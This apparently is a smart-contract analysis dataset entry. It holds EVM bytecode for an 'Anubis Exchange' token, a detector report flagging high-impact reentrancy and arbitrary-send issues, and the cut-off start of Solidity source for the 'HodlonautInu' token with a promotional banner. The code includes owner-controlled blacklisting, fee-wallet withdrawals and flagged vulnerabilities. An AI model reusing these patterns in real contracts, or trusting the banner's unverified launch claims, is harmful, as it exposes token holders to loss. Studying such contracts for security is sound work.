0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280601081526020017f416e756269732045786368616e67652000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f20416e7562697300000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122066efdb64c6dc28917cbbeb070af89823a56fd96b613017aa3677381740577d2564736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,224
0x2979af5e077721c25ec0d20e5b0da2ef8d64cc51
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ /* __ __ ______ _______ __ ______ __ __ ______ __ __ ________ ______ __ __ __ __ | \ | \ / \ | \ | \ / \ | \ | \ / \ | \ | \| \| \| \ | \| \ | \ | $$ | $$| $$$$$$\| $$$$$$$\| $$ | $$$$$$\| $$\ | $$| $$$$$$\| $$ | $$ \$$$$$$$$ \$$$$$$| $$\ | $$| $$ | $$ | $$__| $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$$\| $$| $$__| $$| $$ | $$ | $$ | $$ | $$$\| $$| $$ | $$ | $$ $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$$$\ $$| $$ $$| $$ | $$ | $$ | $$ | $$$$\ $$| $$ | $$ | $$$$$$$$| $$ | $$| $$ | $$| $$ | $$ | $$| $$\$$ $$| $$$$$$$$| $$ | $$ | $$ | $$ | $$\$$ $$| $$ | $$ | $$ | $$| $$__/ $$| $$__/ $$| $$_____| $$__/ $$| $$ \$$$$| $$ | $$| $$__/ $$ | $$ _| $$_ | $$ \$$$$| $$__/ $$ | $$ | $$ \$$ $$| $$ $$| $$ \\$$ $$| $$ \$$$| $$ | $$ \$$ $$ | $$ | $$ \| $$ \$$$ \$$ $$ \$$ \$$ \$$$$$$ \$$$$$$$ \$$$$$$$$ \$$$$$$ \$$ \$$ \$$ \$$ \$$$$$$ \$$ \$$$$$$ \$$ \$$ \$$$$$$ ⚡️ $HODLO - HodlonautInu 💰 Hyper-Deflationary Token based on ERC20 network Telegram: https://t.me/hodlonautinu Website: https://www.hodlonaut.finance Twitter: https://twitter.com/HodlonautInu 📌 Information: 📊 Supply: 1,000,000,000,000 🤗 Redistribution: 2% 🔑 Development / Marketing, Buyback: 10% 📈 100% Liquidity, No Burn ⚡️ Token Symbol: $HODLO 🚀 Fair - Launch (No Presale, No Team tokens, No marketing tokens) 🔑 Liquidity lock after launch immediately */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition 